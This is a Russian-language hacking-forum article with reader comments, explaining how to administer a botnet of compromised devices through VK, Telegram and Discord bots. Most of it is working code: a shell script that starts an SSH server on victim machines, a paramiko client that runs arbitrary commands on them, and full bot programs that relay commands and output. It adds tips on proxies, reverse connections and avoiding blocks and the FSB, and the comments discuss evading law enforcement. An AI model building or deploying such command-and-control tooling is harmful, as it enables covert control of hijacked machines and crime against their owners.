Статья Админим ботнет через соц-сети

Привет codeby, представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.

Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)

Однако это не лучший вариант и у меня есть аргументы :

1. Уязвимость перед exploit'ами
(вы только взгляните на и на )
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами

Поэтому я предлагаю альтернативу - использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos'а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.

Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже где их сливают =0

Однако есть свои минусы :

1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.

2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0

3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.


И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку (либа для работы с ssh).
Архитектура ботнета будет иметь следующий вид:

victim = server
attacker = client
attacker => victim

Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.

Пишем сервер :

В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения

Bash:
#!/bin/bash 
apt install openssh -y
systemctl start ssh  #это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды 

##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes
##это если на сервере стоит openssh
##также можно заранее создать конфиг и копировать  в выше указанные файлы


Клиент :
Устанавливаем python3
apt install python3
Устанавливаем paramiko
pip3 install paramiko

Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код

Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko: apt install python3 && pip3 install paramiko
4. Текущий функционал - проверка онлайна и отправка комманд по ssh

Python:
import paramiko     #импорт paramiko для ssh
host = "localhost"   #обозначение переменных для аутентификации
user = "user"        #вы можете создать нового юзера прямо в шелл скрипте описанном выше
mypass = "toor"     #но я решил не заморачиваться и взять логины которые уже были в системе
port = 22           #данный порт дефолтный практически для всех ssh приложений

def interact(comandd): #функция для  отправки сообщений
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())   #добавляем localhost в список известных хостов
    client.connect(hostname=host, username=user, password=mypass, port=port)    #подключаемся :)
    stdin,stdout,stderr = client.exec_command(comandd) #это наша команда
    outputt = stdout.read() + stderr.read()  ##смотрим что нам отвечает хост и помечаем это как outputt
    f = open("output.txt", "w")      ##открываем файл для записи в него нашего outputt
    f.write(outputt.decode("utf-8")) ##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8
    f.close()
    client.close()

def checkconnection():       #функция для проверки подключения
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())   #добавляем localhost в список известных хостов
    client.connect(hostname=host, username=user, password=mypass, port=port)    #подключаемся :)
    client.close()  #и отключаемся :)

данный код именуем client.py и размещаем в одну папку с вашим будующим ботом


Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord

Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить

И так начнём с вк
Установим либу
pip3 install vk_api

В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :

1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт "работа с API"
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем


Кодим бота:
(документация vk_api)



Python:
#coding: utf8
import client                              #импорт клиента для бот сети
import random
import vk_api                              #импортируем библиотеки для вк
from vk_api.longpoll import VkLongPoll, VkEventType
def write_msg(user_id, message):  #функция которая будет вызываться при отправке сообщений
    randomid = random.randint(10,99999)  ##вк для отправки требует рандомное число, каждый раз, неясно зачем
    vk.method('messages.send', {'user_id': user_id, 'message': message, 'random_id': randomid})
token="ТУТ-ВАШ-ТОКЕН"   #немного действий для верификации 
vk = vk_api.VkApi(token=token)
longpoll = VkLongPoll(vk)
print("bot is work!")
def main():
    for event in longpoll.listen():    #ждем новых сообщений
        if event.type == VkEventType.MESSAGE_NEW and event.to_me:    #если они появляються начинаем действовать
            write_msg(event.user_id, "please, enter password!")      #просим pass
            for event in longpoll.listen():
                if event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text == ("IMAROOT"):  #проверям pass
                    write_msg(event.user_id, "welcome to botnet admin panel")
                    try:      #проверяем подключение с хостом
                        client.checkconnection()
                        write_msg(event.user_id, "1 host is online, start interacting with him?(Yes/No)")
                        for event in longpoll.listen(): #спрашиваем хочет ли юзер взаимодействовать с ним
                            if event.type == VkEventType.MESSAGE_NEW and event.to_me:

                                if event.text == ("Yes"):
                                    write_msg(event.user_id, "start interacting with host1...")
                                    write_msg(event.user_id, "print => (exit) =< to stop interact")
                                    write_msg(event.user_id, "enter something to host!")
                                    startinteract()   ##запуск функции через которую и будет происходить обмен коммандами
                                else:
                                    write_msg(event.user_id, "exit from admin panel...")

                    except client.paramiko.ssh_exception.NoValidConnectionsError:    #предупреждаем если хосты оффлайн
                        write_msg(event.user_id, "all hosts is offline")
                elif event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text != ("IMAROOT"):    #если пароль неправильный, так и пишем
                    write_msg(event.user_id, "wrong password!")
def startinteract():
    for event in longpoll.listen():
        if event.type == VkEventType.MESSAGE_NEW and event.to_me:  #проверям pass
            if event.text == ("exit"):
                write_msg(event.user_id, "stop interacting with host1...")
            else:
                commandd = event.text
                client.interact(commandd) #передаем хосту месседж клиента
                f = open("output.txt", "r")     #смотрим output
                output = f.read()
                f.close()
                write_msg(event.user_id, output)  #отсылаем output юзеру
                startinteract()

main()


тесты этого бота на видео:
Как по мне в вк это сделать проще но при этом опаснее (в плане приватности)


Следующий на очереди - telegram
В самом телеграмме находим этого бота: https://t.me/BotFather
И пишем ему следующие команды:

/start
/newbot


Далее, у вас потребуют ввести имя и логин этого бота
После этого, вам выдадут адрес этого бота и api токен, для взаимодействия с ним.
Токен сохраняем
a.png

Если хотим более тонко настроить бота - пишем боту /help
Для управления ботом надо скачать либу
pip3 install pytelegrambotapi


Кодим:
Python:
import client       ##импортируем клиента для бот-сети
import telebot     ##импортируем тг бота
bot = telebot.TeleBot("ТУТ-ВАШ-ТОКЕН")  #токен
@bot.message_handler(content_types=['text'])  #декоратор для детекта типа данных
def checkpassword(message):    #спрашиваем pass
    bot.send_message(message.from_user.id, "enter password")
    bot.register_next_step_handler(message, botnetpanel)   #передаем сообщение и декоратор к дальнейшей функции

def botnetpanel(message):   #админ панель
    if message.text == ("IMAROOT"): #если пароль правильный, то пускаем к админ панели
        bot.send_message(message.from_user.id, "welcome to botnet admin panel")
        try:       #проверяем хост на онлайн
            client.checkconnection()
            bot.send_message(message.from_user.id, "1 host is online, try interact with him?(Yes/No)")
            bot.register_next_step_handler(message, checkanswer)    #передаем сообщение и декоратор для другой функции
        except client.paramiko.ssh_exception.NoValidConnectionsError:
            bot.send_message(message.from_user.id, "all hosts is offline!")
    else:   #если пароль не правильный, то так и пишем
        bot.send_message(message.from_user.id, "wrong password!")

def checkanswer(message):     #проверяем хочет ли юзер взаимодействовать с хостом
    if message.text == ("Yes"):
        bot.send_message(message.from_user.id, "Start interact with host 1")
        bot.send_message(message.from_user.id, "Print  => (exit) <= to close connect with host 1")
        bot.send_message(message.from_user.id, "enter something to host!")
        bot.register_next_step_handler(message, hostinteract)      #если согласен, то начинаем взаимодействие
    elif message.text == ("No"):
        bot.send_message(message.from_user.id, "okay")
        bot.send_message(message.from_user.id, "exit from admin panel...")


def hostinteract(message):   #функция для взаимодействия с хостом
    if message.text == ("exit"): #если юзер хочет выйти, даем ему это сделать
        bot.send_message(message.from_user.id, "stopping interact with host 1...")
    else:         #если нет, то:
        commandd = message.text
        client.interact(commandd) #передаем хосту месседж клиента
        f = open("output.txt", "r")     #открываем файл с outputt
        output = f.read()          #считываем outputt
        f.close()                    #закрываем файл с outputt
        bot.send_message(message.from_user.id, output)  #отсылаем outputt юзеру
        bot.register_next_step_handler(message, hostinteract) #снова запускаем эту функцию


bot.polling(none_stop=True, interval=0) ##постаянная проверка на наличие новых сообщений боту


Хоть теллеграмм и имеет статус "надежного" мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы

И последним на очереди у нас discord

Важно: для python работает только на следующих версиях пайтона: 3.4.3-3.6.6
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)


Лично я решил выбрал python3.5
apt install python3.5

Установим discord_api и paramiko для этой версии пайтона
python3.5 -m pip install discord.py paramiko

Также discord требует asyncio
python3.5 -m pip install asyncio

В дискорде чтобы зарегестрировать бота необходимо , благо это делаеться за несколько секунд

Сама регистрация бота здесь сложнее чем в вк и телеграмме

1. Переходим по следующей ссылке:

(если вы ещё не вошли в аккаунт у вас потребуют логин и пароль)

Нажимаем на кнопку New application

step1.png


2.Вводим имя бота

step2.png


3.Во вкладке Bot нажимаем "Add Bot"

step3.png


В появившемся окне нажимаем "Click To Reveal Token", и копируем появивишийся текст, это наш токен

step4.png



4. Переходим на вкладку OAuth2 и нажимаем Add redirect

step5.png


Пролистываем чуть ниже и нажимаем галочки напротив bot и Administrator

step6.png

переходим по появившейся ссылке и добавляем бота на любой ваш дискорд сервер, готово!


Теперь приступаем к написанию бота :


Python:
import discord   #импортируем либы для дискорда
import asyncio   #импорт либ для ассинхронных сообщений
import clienteres  #импортируем клиент для ботнета, я его переименовал дабы избежать ошибок 
TOKEN= ("ТУТ_ВАШ_ТОКЕН") #авторизуемся с токеном
client = discord.Client()

#help справка
helpbot = ("""              
aviable  next commands:                                      
 |---------------------------------------------------------|  
 |!help        | get this help                   |  
 |!home     | get info about botnet     |  
 |!login      | login to admin panel      |  
 |!session | start interact with host  |  
 |---------------------------------------------------------|  

""")

f = open("check.txt", "w")  #создаем файл для бд логинов
f.close()

@client.event
async def on_message(message):        #ждем сообщений
    if message.author != client.user:       #проверяем что автор сообщения это не бот
        if message.content == ("!help"):       #выдаем справку (help)
            await message.channel.send(helpbot)

        if message.content == ("!home"):     #функция для проверки онлайна
            f = open("check.txt", "r")  #открываем файл с логинами авторизованных юзеров
            check = f.read()
            f.close()
            if str(message.author) in str(check):  #если логин этого пользователя там есть, то разрешаем пользование
                await message.channel.send("welcome to admin botnet panel!")
                try:
                    clienteres.checkconnection()                           #предупреждаем если хосты онлайн
                    await message.channel.send(""" host is online!! to connect with him enter "!session" """)
                except clienteres.paramiko.ssh_exception.NoValidConnectionsError: ##предупреждаем если все хосты офф
                    await message.channel.send("all hosts is offline!! please try later!")
            else:                                 #если юзер не залогинен, то просим залогиниться
                await message.channel.send("Please login with command !login ")

        if message.content == ("!login"):     #функция для авторизации
            await message.channel.send("Please enter password!")
        if message.content == ("IMAROOT"):    #если пароль правильный
            f = open("check.txt", "w")    #заносим никнейм пользователя в нашу мини бд
            f.write(str(message.author))
            f.close()
            await message.channel.send("You succesfull login! Now you can use all options!")

        if message.content == ("!session"):        #функция для взаимодействия с хостом
            f = open("check.txt", "r")         #чекаем есть ли логин юзера в нашей мини бд
            check = f.read()
            f.close()
            if str(message.author) not in check:   #если нет просим залогиниться
                await message.channel.send("Please login use !login")
            else:                                   #если логин есть, то пропускаем к сессии
                try:
                    clienteres.checkconnection() #проверям коннект
                    await message.channel.send("Start interacting with host 1")
                    await message.channel.send(""" Enter "exit" to close session """)
                    @client.event
                    async def on_message(message):     #функция отправки сообщений для хоста и отсылкой ответов
                        if message.author != client.user:
                            if message.content == ("exit"):  #exit для выхода
                                await message.channel.send("You exit from admin panel...")
                            else:
                                comandd = message.content
                                clienteres.interact(comandd)     #передаем команду хосту
                                f = open("output.txt", "r")     #смотрим output
                                output = f.read()
                                f.close()
                                await message.channel.send(output)  #отсылаем output

                except clienteres.paramiko.ssh_exception.NoValidConnectionsError:  #если коннекта нет , так и пишем
                    await message.channel.send("Host is offline! Please try later!")

        commandss = ["!help", "!home", "!login", "!session", "IMAROOT"]
        if message.content not in commandss:
            await message.channel.send("Enter !help to more information")


client.run(TOKEN)    #запускаем бота!
print("bot is work!")



На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание
 
Последнее редактирование:

Ludovic13

Member
23.06.2020
19
0
BIT
0
Эммм , а как ФСБ придёт к тебе с историей переписок , если телега даже сейчас не сливает данные пользователей , если ты не терр?
 

morgot

Green Team
25.07.2018
74
35
BIT
2
В криминале нельзя никому верить. И уж тем более надеяться на чьи-то слова. Понятно, если ваш ботнет маленький или вообще учебный, кому оно надо. А если это будет что-то серьезное - сразу же выдадут. И если уж на то пошло, телега может защищать оппозиционеров и прочих товарищей (не верю, но допускаю), но уж никак не ботоводов.
 

Ludovic13

Member
23.06.2020
19
0
BIT
0
В криминале нельзя никому верить. И уж тем более надеяться на чьи-то слова. Понятно, если ваш ботнет маленький или вообще учебный, кому оно надо. А если это будет что-то серьезное - сразу же выдадут. И если уж на то пошло, телега может защищать оппозиционеров и прочих товарищей (не верю, но допускаю), но уж никак не ботоводов.
А как насчёт телеграфа , там сложно будет кого-то вычислить ?
 
17.10.2020
1
0
BIT
0
не работает, постоянно спрашивает пароль, я ввожу и правильный и неправильной одно и тоже
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!